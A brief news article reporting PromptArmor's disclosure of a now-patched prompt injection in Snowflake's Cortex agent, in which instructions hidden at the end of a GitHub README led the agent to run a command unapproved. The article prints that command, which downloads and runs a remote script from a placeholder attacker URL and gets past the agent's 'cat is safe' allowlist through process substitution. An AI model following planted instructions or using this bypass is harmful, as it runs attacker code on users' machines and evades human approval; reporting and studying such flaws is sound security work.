Brief AI
›

Snowflake Cortex AI: Critical Vulnerability and Malware Execution

AI Tools·Tom Levy·

Snowflake Cortex AI: Critical Vulnerability and Malware Execution

Snowflake Cortex AI: Critical Vulnerability and Malware Execution
Key Takeaways
1A report from PromptArmor reveals a prompt injection attack in Snowflake's Cortex, which has now been fixed.
2The attack was initiated via a GitHub repository, exploiting a hidden prompt injection in a README file.
3Cortex executed a malicious command, mistakenly classified as safe, without human intervention.
Why it matters : This vulnerability highlights the risks associated with the automatic permissions of AI agents, necessitating enhanced security measures.

A Vulnerability in Snowflake's Cortex Revealed by PromptArmor

A recent report from PromptArmor has highlighted a critical vulnerability in Snowflake's Cortex agent, exploited through a prompt injection attack. This flaw, now patched, allowed the agent to escape its sandbox and execute malware.

Attack Details

The incident began when a Cortex user requested the agent to examine a GitHub repository. This repository contained a prompt injection attack, discreetly hidden at the bottom of the README file. This manipulation led the agent to execute a malicious command.

The evening letterFree · 7 pm

The AI brief the pros read every evening

The 7 best AI stories, the essentials in 5 min. Free.

Included when you join: our pick of the best AI guides & comparisons.

Choose your rhythm

Free · No spam · Unsubscribe in 1 click

Execution of the Malicious Command

The command executed by Cortex was as follows:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Cortex classified the cat commands as safe to execute without requiring human approval. However, it did not account for the possibility of process substitution within the command, which allowed the execution of the malicious code.

Thoughts on Agent Security

Similar allowlists have been observed in various agent tools, but they are deemed unreliable by some experts. It is suggested that agent commands be treated as potentially capable of performing all actions permitted to the process, emphasizing the importance of deterministic sandboxes operating outside the agent layer.

Brief AI — AI news in French

The essentials of artificial intelligence news, decoded and explained every day.